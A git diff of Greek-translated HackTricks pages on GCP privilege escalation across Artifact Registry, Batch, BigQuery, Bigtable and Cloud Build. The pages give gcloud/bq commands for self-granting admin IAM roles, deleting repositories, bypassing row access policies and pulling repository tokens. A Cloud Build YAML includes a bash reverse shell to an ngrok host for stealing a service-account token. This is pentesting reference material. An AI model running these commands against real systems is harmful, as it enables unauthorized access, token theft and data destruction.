-- Τι συμβαίνει αν αναμειχθούν ένα απομακρυσμένο και ένα κανονικό μητρώο σε ένα εικονικό και ένα πακέτο υπάρχει και στα δύο; Ελέγξτε αυτή τη σελίδα:
+
+
+- Τι συμβαίνει αν ένα remote και ένα standard registries αναμειχθούν σε ένα virtual και ένα package υπάρχει και στα δύο; Δες αυτή τη σελίδα:
{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
@@ -130,30 +178,40 @@ pip install --index-url "https://oauth2accesstoken:$(gcloud auth prin
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
-Διαγράψτε τα αρχεία από το μητρώο, όπως εικόνες docker:
+Διαγραφή artifacts από το Artifact Registry, όπως docker images:
+
+
+Διαγραφή Docker image από το Artifact Registry
```bash
# Delete a docker image
gcloud artifacts docker images delete -docker.pkg.dev///:
```
+
+
### `artifactregistry.repositories.delete`
-Διαγράψτε ένα πλήρες αποθετήριο (ακόμα και αν έχει περιεχόμενο):
+Διαγραφή ενός πλήρους repository (ακόμη κι αν έχει περιεχόμενο):
+
+
+Διαγραφή repository του Artifact Registry
```
gcloud artifacts repositories delete --location=
```
+
+
### `artifactregistry.repositories.setIamPolicy`
-Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να δώσει στον εαυτό του άδειες για να εκτελέσει μερικές από τις προηγουμένως αναφερόμενες επιθέσεις αποθετηρίου.
+Ένας επιτιθέμενος με αυτό το δικαίωμα θα μπορούσε να χορηγήσει στον εαυτό του δικαιώματα για να εκτελέσει μερικές από τις προαναφερθείσες επιθέσεις στο repository.
-### Pivoting to other Services through Artifact Registry Read & Write
+### Pivoting σε άλλες υπηρεσίες μέσω Artifact Registry Read & Write
- **Cloud Functions**
-Όταν δημιουργείται μια Cloud Function, μια νέα εικόνα docker αποστέλλεται στο Artifact Registry του έργου. Προσπάθησα να τροποποιήσω την εικόνα με μια νέα και ακόμη και να διαγράψω την τρέχουσα εικόνα (και την εικόνα `cache`) και τίποτα δεν άλλαξε, η cloud function συνεχίζει να λειτουργεί. Επομένως, ίσως **να είναι δυνατόν να εκμεταλλευτεί κανείς μια επίθεση Race Condition** όπως με τον κάδο για να αλλάξει το docker container που θα εκτελείται, αλλά **απλά τροποποιώντας την αποθηκευμένη εικόνα δεν είναι δυνατόν να συμβιβαστεί η Cloud Function**.
+Όταν δημιουργείται μια Cloud Function, μια νέα docker image ανεβαίνει στο Artifact Registry του project. Προσπάθησα να τροποποιήσω την εικόνα με μια καινούργια, και ακόμη να διαγράψω την τρέχουσα εικόνα (και την `cache` image) και τίποτα δεν άλλαξε — η Cloud Function συνέχισε να λειτουργεί. Επομένως, ίσως **να είναι δυνατό να καταχραστείς μια Race Condition attack** όπως με το bucket για να αλλάξεις το docker container που θα εκτελεστεί, αλλά **απλώς τροποποιώντας την αποθηκευμένη εικόνα δεν είναι δυνατό να παραβιάσεις την Cloud Function**.
- **App Engine**
-Ακόμη και αν το App Engine δημιουργεί εικόνες docker μέσα στο Artifact Registry. Δοκιμάστηκε ότι **ακόμη και αν τροποποιήσεις την εικόνα μέσα σε αυτή την υπηρεσία** και αφαιρέσεις την παρουσία του App Engine (έτσι ώστε να αναπτυχθεί μια νέα) ο **κώδικας που εκτελείται δεν αλλάζει**.\
-Ενδέχεται να είναι δυνατόν να εκτελέσεις μια **επίθεση Race Condition όπως με τους κάδους, μπορεί να είναι δυνατόν να αντικαταστήσεις τον εκτελούμενο κώδικα**, αλλά αυτό δεν δοκιμάστηκε.
+Παρόλο που το App Engine δημιουργεί docker images μέσα στο Artifact Registry. Δοκιμάστηκε ότι **ακόμη και αν τροποποιήσεις την εικόνα μέσα σε αυτήν την υπηρεσία** και αφαιρέσεις το App Engine instance (οπότε γίνεται deploy ενός νέου), ο **εκτελούμενος κώδικας δεν αλλάζει**.\
+Μπορεί να είναι δυνατό ότι πραγματοποιώντας μια **Race Condition attack όπως με τα buckets θα ήταν πιθανό να αντικαταστήσεις τον εκτελούμενο κώδικα**, αλλά αυτό δεν δοκιμάστηκε.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md
index ce7cdb344..5f1fa9977 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md
@@ -12,7 +12,10 @@
### `batch.jobs.create`, `iam.serviceAccounts.actAs`
-Είναι δυνατόν να δημιουργηθεί μια εργασία batch, να αποκτηθεί ένα reverse shell και να εξαχθεί το μεταδεδομένο token του SA (compute SA από προεπιλογή).
+Είναι δυνατό να δημιουργηθεί ένα batch job, να αποκτηθεί ένα reverse shell και να exfiltrate το metadata token του SA (compute SA by default).
+
+
+Δημιουργία Batch job με reverse shell
```bash
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md
index 30b4e2f3e..ed8f2dbfe 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md
@@ -4,29 +4,42 @@
## BigQuery
-Για περισσότερες πληροφορίες σχετικά με το BigQuery, ελέγξτε:
+Για περισσότερες πληροφορίες σχετικά με το BigQuery δείτε:
{{#ref}}
../gcp-services/gcp-bigquery-enum.md
{{#endref}}
-### Read Table
+### Ανάγνωση πίνακα BigQuery
-Η ανάγνωση των πληροφοριών που είναι αποθηκευμένες μέσα σε έναν πίνακα BigQuery μπορεί να είναι δυνατή για να βρείτε s**ensitive information**. Για να αποκτήσετε πρόσβαση στις πληροφορίες, οι άδειες που απαιτούνται είναι **`bigquery.tables.get`**, **`bigquery.jobs.create`** και **`bigquery.tables.getData`**:
+Ανάγνωση των πληροφοριών που είναι αποθηκευμένες σε έναν πίνακα BigQuery μπορεί να αποκαλύψει **ευαίσθητες πληροφορίες**. Για πρόσβαση σε αυτές απαιτούνται τα δικαιώματα **`bigquery.tables.get`**, **`bigquery.jobs.create`** και **`bigquery.tables.getData`**:
+
+
+Ανάγνωση δεδομένων πίνακα BigQuery
```bash
bq head .
bq query --nouse_legacy_sql 'SELECT * FROM `..` LIMIT 1000'
```
+
+
### Εξαγωγή δεδομένων
-Αυτή είναι μια άλλη μέθοδος για να αποκτήσετε πρόσβαση στα δεδομένα. **Εξάγετε τα σε ένα cloud storage bucket** και **κατεβάστε τα αρχεία** με τις πληροφορίες.\
-Για να εκτελέσετε αυτή την ενέργεια απαιτούνται οι εξής άδειες: **`bigquery.tables.export`**, **`bigquery.jobs.create`** και **`storage.objects.create`**.
+Αυτός είναι ένας άλλος τρόπος για να αποκτήσετε πρόσβαση στα δεδομένα. **Εξάγετέ το σε ένα bucket του Cloud Storage** και **κατεβάστε τα αρχεία** με τις πληροφορίες.\
+Για να εκτελεστεί αυτή η ενέργεια απαιτούνται τα ακόλουθα δικαιώματα: **`bigquery.tables.export`**, **`bigquery.jobs.create`** και **`storage.objects.create`**.
+
+
+Εξαγωγή πίνακα BigQuery σε Cloud Storage
```bash
bq extract .
"gs:///table*.csv"
```
+
+
### Εισαγωγή δεδομένων
-Μπορεί να είναι δυνατό να **εισαγάγετε ορισμένα αξιόπιστα δεδομένα** σε έναν πίνακα Bigquery για να εκμεταλλευτείτε μια **ευπάθεια σε κάποιο άλλο σημείο.** Αυτό μπορεί να γίνει εύκολα με τα δικαιώματα **`bigquery.tables.get`**, **`bigquery.tables.updateData`** και **`bigquery.jobs.create`**:
+Ίσως είναι δυνατό να **εισαχθούν ορισμένα αξιόπιστα δεδομένα** σε έναν πίνακα Bigquery για να εκμεταλλευτεί μια **ευπάθεια σε κάποιο άλλο μέρος.** Αυτό μπορεί να γίνει εύκολα με τα δικαιώματα **`bigquery.tables.get`** , **`bigquery.tables.updateData`** και **`bigquery.jobs.create`**:
+
+
+Εισαγωγή δεδομένων σε πίνακα BigQuery
```bash
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `..` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
@@ -34,9 +47,14 @@ bq query --nouse_legacy_sql 'INSERT INTO `..` (rank,
# Via insert param
bq insert dataset.table /tmp/mydata.json
```
+
+
### `bigquery.datasets.setIamPolicy`
-Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό το προνόμιο για να **δώσει στον εαυτό του επιπλέον δικαιώματα** πάνω σε ένα BigQuery dataset:
+Ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτό το προνόμιο για να **δώσει στον εαυτό του επιπλέον δικαιώματα** πάνω σε ένα BigQuery dataset:
+
+
+Ορισμός IAM policy σε BigQuery dataset
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
@@ -46,9 +64,14 @@ bq add-iam-policy-binding \
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
```
+
+
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
-Αυτή η άδεια επιτρέπει να **ενημερώσετε την πρόσβασή σας σε ένα BigQuery dataset τροποποιώντας τα ACLs** που υποδεικνύουν ποιος μπορεί να έχει πρόσβαση σε αυτό:
+Μόνη αυτή η άδεια επιτρέπει να **ενημερώσεις την πρόσβασή σου σε ένα BigQuery dataset τροποποιώντας τα ACLs** που υποδεικνύουν ποιος μπορεί να αποκτήσει πρόσβαση σε αυτό:
+
+
+Ενημέρωση ACLs σε dataset του BigQuery
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson : > acl.json
@@ -57,9 +80,14 @@ bq update --source acl.json :
## Read it with
bq head $PROJECT_ID:.
```
+
+
### `bigquery.tables.setIamPolicy`
-Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό το προνόμιο για να **δώσει στον εαυτό του επιπλέον δικαιώματα** πάνω σε έναν πίνακα BigQuery:
+Ένας attacker θα μπορούσε να καταχραστεί αυτό το προνόμιο για να **δώσει στον εαυτό του περαιτέρω δικαιώματα** σε έναν πίνακα BigQuery:
+
+
+Set IAM policy on BigQuery table
```bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
@@ -69,14 +97,24 @@ bq add-iam-policy-binding \
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
```
+
+
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
-Σύμφωνα με την τεκμηρίωση, με τις αναφερόμενες άδειες είναι δυνατόν να **ενημερώσετε μια πολιτική γραμμής.**\
-Ωστόσο, **χρησιμοποιώντας το cli `bq`** χρειάζεστε μερικά ακόμη: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
+Σύμφωνα με την τεκμηρίωση, με τα αναφερόμενα δικαιώματα είναι δυνατό να **ενημερώσετε μια πολιτική πρόσβασης γραμμής.**\
+Ωστόσο, **χρησιμοποιώντας το cli `bq`** χρειάζεστε κάποια επιπλέον: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
+
+
+Δημιουργία ή αντικατάσταση πολιτικής πρόσβασης γραμμής
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY ON `..` GRANT TO ("") FILTER USING (term = "Cfba");' # A example filter was used
```
-Είναι δυνατόν να βρείτε το ID φίλτρου στην έξοδο της καταμέτρησης πολιτικών γραμμής. Παράδειγμα:
+
+
+Είναι δυνατό να βρεθεί το filter ID στην έξοδο της απαρίθμησης των row policies. Παράδειγμα:
+
+
+List row access policies
```bash
bq ls --row_access_policies :.
@@ -84,7 +122,12 @@ Id Filter Predicate Grantees Creation Time Las
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
```
+
+
Αν έχετε **`bigquery.rowAccessPolicies.delete`** αντί για `bigquery.rowAccessPolicies.update`, μπορείτε επίσης απλώς να διαγράψετε την πολιτική:
+
+
+Διαγραφή πολιτικών πρόσβασης γραμμών
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY ON `..`;'
@@ -92,7 +135,11 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY ON `.<
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `..`;'
```
+
+
> [!CAUTION]
-> Μια άλλη πιθανή επιλογή για να παρακάμψετε τις πολιτικές πρόσβασης γραμμών θα ήταν να αλλάξετε απλώς την τιμή των περιορισμένων δεδομένων. Εάν μπορείτε να δείτε μόνο όταν το `term` είναι `Cfba`, απλώς τροποποιήστε όλα τα αρχεία του πίνακα ώστε να έχουν `term = "Cfba"`. Ωστόσο, αυτό αποτρέπεται από το bigquery.
+> Μια άλλη πιθανή επιλογή για να παρακαμφθούν οι πολιτικές πρόσβασης σειρών θα ήταν απλώς να αλλάξετε την τιμή των περιορισμένων δεδομένων.
+> Αν μπορείτε να βλέπετε μόνο όταν `term` είναι `Cfba`, απλώς τροποποιήστε όλες τις εγγραφές του πίνακα ώστε να έχουν `term = "Cfba"`.
+> Ωστόσο αυτό αποτρέπεται από bigquery.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md
index 01563ea3d..fd70ffa79 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md
@@ -12,40 +12,50 @@
### `bigtable.instances.setIamPolicy`
-**Δικαιώματα:** `bigtable.instances.setIamPolicy` (και συνήθως `bigtable.instances.getIamPolicy` για να διαβάσετε τις τρέχουσες δεσμεύσεις).
+**Δικαιώματα:** `bigtable.instances.setIamPolicy` (και συνήθως `bigtable.instances.getIamPolicy` για να διαβάσετε τα τρέχοντα bindings).
-Η κατοχή της πολιτικής IAM του instance σας επιτρέπει να χορηγήσετε στον εαυτό σας **`roles/bigtable.admin`** (ή οποιονδήποτε προσαρμοσμένο ρόλο), ο οποίος επεκτείνεται σε κάθε cluster, πίνακα, αντίγραφο ασφαλείας και εξουσιοδοτημένη προβολή στην instance.
+Η κατοχή της πολιτικής IAM του instance σας επιτρέπει να δώσετε στον εαυτό σας **`roles/bigtable.admin`** (ή οποιονδήποτε προσαρμοσμένο ρόλο), ο οποίος εφαρμόζεται σε κάθε cluster, πίνακα, αντίγραφο ασφαλείας και εξουσιοδοτημένη προβολή στο instance.
+
+Χορηγήστε στον εαυτό σας τον ρόλο bigtable.admin στο instance
```bash
gcloud bigtable instances add-iam-policy-binding \
--member='user:' \
--role='roles/bigtable.admin'
```
-> [!TIP]
-> Εάν δεν μπορείτε να απαριθμήσετε τα υπάρχοντα bindings, δημιουργήστε ένα νέο policy document και ανεβάστε το με `gcloud bigtable instances set-iam-policy` αρκεί να διατηρήσετε τα δικαιώματά σας επάνω σε αυτό.
+
-Αφού αποκτήσετε αυτήν την άδεια ελέγξτε την [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) για τεχνικές και περισσότερους τρόπους εκμετάλλευσης των δικαιωμάτων του Bigtable.
+> [!TIP]
+> Εάν δεν μπορείτε να απαριθμήσετε τα υπάρχοντα bindings, δημιουργήστε ένα νέο policy document και εφαρμόστε το με `gcloud bigtable instances set-iam-policy` εφ' όσον διατηρείτε τον εαυτό σας σε αυτό.
+
+Αφού έχετε αυτό το δικαίωμα, ελέγξτε τις τεχνικές στην [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) για περισσότερους τρόπους κατάχρησης των αδειών του Bigtable.
### `bigtable.tables.setIamPolicy`
**Δικαιώματα:** `bigtable.tables.setIamPolicy` (προαιρετικά `bigtable.tables.getIamPolicy`).
-Οι πολιτικές του instance μπορούν να κλειδωθούν ενώ οι μεμονωμένοι πίνακες εκχωρούνται ξεχωριστά. Αν μπορείτε να επεξεργαστείτε το IAM του πίνακα, μπορείτε να **αναβαθμίσετε τον εαυτό σας σε ιδιοκτήτη του στοχευόμενου dataset** χωρίς να επηρεάσετε άλλα workloads.
+Οι πολιτικές του instance μπορούν να κλειδωθούν ενώ μεμονωμένοι πίνακες εκχωρούνται. Αν μπορείτε να επεξεργαστείτε το IAM του πίνακα, μπορείτε να **αναβαθμίσετε τον εαυτό σας σε owner του στοχευόμενου dataset** χωρίς να αγγίξετε άλλα workloads.
+
+Χορήγησε στον εαυτό σου τον ρόλο bigtable.admin στον πίνακα
```bash
gcloud bigtable tables add-iam-policy-binding \
--instance= \
--member='user:' \
--role='roles/bigtable.admin'
```
-Αφού αποκτήσετε αυτήν την άδεια, ελέγξτε την [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) για περισσότερους τρόπους κατάχρησης των δικαιωμάτων Bigtable.
+
+
+After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques for more ways to abuse Bigtable permissions.
### `bigtable.backups.setIamPolicy`
-**Δικαιώματα:** `bigtable.backups.setIamPolicy`
+**Permissions:** `bigtable.backups.setIamPolicy`
-Τα backups μπορούν να αποκατασταθούν σε **οποιαδήποτε instance σε οποιοδήποτε project** που ελέγχετε. Πρώτα, δώστε στην ταυτότητά σας πρόσβαση στο backup, και στη συνέχεια αποκαταστήστε το σε ένα sandbox όπου κατέχετε ρόλους Admin/Owner.
+Backups can be restored to **any instance in any project** you control. First, give your identity access to the backup, then restore it into a sandbox where you hold Admin/Owner roles.
-Αν έχετε το δικαίωμα `bigtable.backups.setIamPolicy`, μπορείτε να χορηγήσετε στον εαυτό σας το δικαίωμα `bigtable.backups.restore` για να αποκαταστήσετε παλιά backups και να προσπαθήσετε να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες.
+If you have the permission `bigtable.backups.setIamPolicy` you could grant yourself the permission `bigtable.backups.restore` to restore old backups and try to access sensitiv information.
+
+Ανάληψη κυριότητας του snapshot του backup
```bash
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding \
@@ -53,14 +63,18 @@ gcloud bigtable backups add-iam-policy-binding \
--member='user:' \
--role='roles/bigtable.admin'
```
-Αφού αποκτήσετε αυτήν την άδεια, ανατρέξτε στην [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) για να δείτε πώς να επαναφέρετε ένα backup.
+
+
+Αφού έχετε αυτόν τον έλεγχο δικαιωμάτων στην [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) για να δείτε πώς να επαναφέρετε ένα αντίγραφο ασφαλείας.
-### Ενημέρωση authorized view
+### Update authorized view
**Δικαιώματα:** `bigtable.authorizedViews.update`
-Τα Authorized Views προορίζονται να αποκρύπτουν γραμμές/στήλες. Η τροποποίησή τους ή η διαγραφή τους **αφαιρεί τους λεπτομερείς περιορισμούς ασφαλείας** στους οποίους βασίζονται οι αμυνόμενοι.
+Οι Authorized Views προορίζονται να αποκρύπτουν σειρές/στήλες. Η τροποποίηση ή διαγραφή τους **αφαιρεί τα λεπτομερή μέτρα προστασίας** στα οποία βασίζονται οι υπερασπιστές.
+
+Update authorized view to broaden access
```bash
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update \
@@ -85,13 +99,17 @@ EOF
gcloud bigtable authorized-views describe \
--instance= --table=
```
-Αφού έχετε αυτό το δικαίωμα, δείτε την [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) για να μάθετε πώς να διαβάζετε από ένα authorized view.
+
+
+Μετά από αυτόν τον έλεγχο δικαιωμάτων στην [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) για να δείτε πώς να διαβάσετε από ένα Authorized View.
### `bigtable.authorizedViews.setIamPolicy`
**Δικαιώματα:** `bigtable.authorizedViews.setIamPolicy`.
-Ένας επιτιθέμενος με αυτό το δικαίωμα μπορεί να χορηγήσει στον εαυτό του πρόσβαση σε ένα Authorized View, το οποίο μπορεί να περιέχει ευαίσθητα δεδομένα στα οποία διαφορετικά δεν θα είχε πρόσβαση.
+An attacker με αυτό το δικαίωμα μπορεί να παραχωρήσει στον εαυτό του πρόσβαση σε ένα Authorized View, το οποίο μπορεί να περιέχει ευαίσθητα δεδομένα στα οποία διαφορετικά δεν θα είχε πρόσβαση.
+
+Παραχωρήστε στον εαυτό σας πρόσβαση σε Authorized View
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding \
@@ -99,8 +117,8 @@ gcloud bigtable authorized-views add-iam-policy-binding \
--member='user:' \
--role='roles/bigtable.viewer'
```
-Αφού γίνει αυτός ο έλεγχος δικαιωμάτων στην [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) για να δείτε πώς να διαβάσετε από μια εξουσιοδοτημένη προβολή.
-
+
+Μετά από αυτόν τον έλεγχο δικαιωμάτων στην [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) για να δείτε πώς να διαβάσετε από μια εξουσιοδοτημένη προβολή.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
index cbcfe2ab5..726847b9b 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
@@ -4,7 +4,7 @@
### Δημιουργία OAuth Brand και Client
-[**Σύμφωνα με τα έγγραφα**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), αυτές είναι οι απαιτούμενες άδειες:
+[**According to the docs**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), αυτές είναι οι απαιτούμενες άδειες:
- `clientauthconfig.brands.list`
- `clientauthconfig.brands.create`
@@ -14,6 +14,8 @@
- `clientauthconfig.clients.getWithSecret`
- `clientauthconfig.clients.delete`
- `clientauthconfig.clients.update`
+
+Δημιουργία OAuth brand και client
```bash
# Create a brand
gcloud iap oauth-brands list
@@ -21,4 +23,6 @@ gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_e
# Create a client of the brand
gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md
index 8f918cd85..874fb7e0a 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md
@@ -4,7 +4,7 @@
## cloudbuild
-Για περισσότερες πληροφορίες σχετικά με το Cloud Build, ελέγξτε:
+Για περισσότερες πληροφορίες σχετικά με το Cloud Build δείτε:
{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
@@ -12,12 +12,14 @@
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
-Με αυτή την άδεια μπορείτε να **υποβάλετε μια κατασκευή cloud**. Η μηχανή cloudbuild θα έχει στο σύστημα αρχείων της **κατά προεπιλογή ένα διακριτικό του Service Account του cloudbuild**: `@cloudbuild.gserviceaccount.com`. Ωστόσο, μπορείτε να **υποδείξετε οποιοδήποτε service account μέσα στο έργο** στη διαμόρφωση του cloudbuild.\
-Επομένως, μπορείτε απλά να κάνετε τη μηχανή να εξάγει το διακριτικό στον διακομιστή σας ή **να αποκτήσετε μια αντίστροφη θύρα μέσα σε αυτήν και να αποκτήσετε το διακριτικό** (το αρχείο που περιέχει το διακριτικό μπορεί να αλλάξει).
+Με αυτό το δικαίωμα μπορείτε να **υποβάλετε ένα cloud build**. Η μηχανή cloudbuild θα έχει στο σύστημα αρχείων της **εκ προεπιλογής ένα token του cloudbuild Service Account**: `@cloudbuild.gserviceaccount.com`. Ωστόσο, μπορείτε να **ορίσετε οποιονδήποτε service account μέσα στο project** στη διαμόρφωση του cloudbuild.\
+Συνεπώς, μπορείτε απλώς να αναγκάσετε τη μηχανή να exfiltrate στο server σας το token ή να **πάρτε ένα reverse shell μέσα σε αυτήν και να αποκτήσετε το token** (το αρχείο που περιέχει το token μπορεί να αλλάξει).
#### Άμεση εκμετάλλευση μέσω gcloud CLI
-1- Δημιουργήστε το `cloudbuild.yaml` και τροποποιήστε το με τα δεδομένα του listener σας.
+1- Δημιουργήστε `cloudbuild.yaml` και τροποποιήστε το με τα δεδομένα του listener σας
+
+Cloud Build YAML διαμόρφωση για reverse shell
```yaml
steps:
- name: bash
@@ -27,19 +29,27 @@ bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
-2- Ανεβάστε μια απλή κατασκευή χωρίς πηγή, το αρχείο yaml και καθορίστε το SA που θα χρησιμοποιηθεί στην κατασκευή:
+
+
+2- Ανέβασμα ενός απλού build χωρίς source, του αρχείου yaml και καθορισμός του SA που θα χρησιμοποιηθεί στο build:
+
+Υποβολή Cloud Build με καθορισμένο SA
```bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com
```
-#### Χρησιμοποιώντας τη βιβλιοθήκη python gcloud
-Μπορείτε να βρείτε το αρχικό σενάριο εκμετάλλευσης [**εδώ στο GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (αλλά η τοποθεσία από την οποία παίρνει το token δεν λειτούργησε για μένα). Επομένως, ελέγξτε ένα σενάριο για να αυτοματοποιήσετε τη [**δημιουργία, εκμετάλλευση και καθαρισμό ενός ευάλωτου περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) και ένα σενάριο python για να αποκτήσετε ένα reverse shell μέσα στη μηχανή cloudbuild και [**να το κλέψετε εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (στον κώδικα μπορείτε να βρείτε πώς να καθορίσετε άλλους λογαριασμούς υπηρεσίας)**.**
+
-Για μια πιο λεπτομερή εξήγηση, επισκεφθείτε [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
+#### Χρήση python gcloud library
+Μπορείτε να βρείτε το αρχικό exploit script [**εδώ στο GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (αλλά η τοποθεσία από όπου παίρνει το token δεν δούλεψε για μένα). Επομένως, δείτε ένα script για να αυτοματοποιήσετε την [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) και ένα python script για να αποκτήσετε ένα reverse shell μέσα στη cloudbuild machine και να το [**steal εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (στον κώδικα μπορείτε να βρείτε πώς να ορίσετε άλλα service accounts).
+
+Για πιο εμπεριστατωμένη εξήγηση, επισκεφθείτε [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
### `cloudbuild.repositories.accessReadToken`
-Με αυτή την άδεια, ο χρήστης μπορεί να αποκτήσει το **token πρόσβασης ανάγνωσης** που χρησιμοποιείται για την πρόσβαση στο αποθετήριο:
+Με αυτό το permission ο χρήστης μπορεί να πάρει το **read access token** που χρησιμοποιείται για πρόσβαση στο repository:
+
+Πάρε read access token για repository
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
@@ -47,9 +57,13 @@ curl -X POST \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadToken"
```
+
+
### `cloudbuild.repositories.accessReadWriteToken`
-Με αυτή την άδεια, ο χρήστης μπορεί να αποκτήσει το **token πρόσβασης για ανάγνωση και εγγραφή** που χρησιμοποιείται για την πρόσβαση στο αποθετήριο:
+Με αυτήν την άδεια ο χρήστης μπορεί να αποκτήσει το **read and write access token** που χρησιμοποιείται για την πρόσβαση στο αποθετήριο:
+
+Λήψη του read and write access token για το αποθετήριο
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
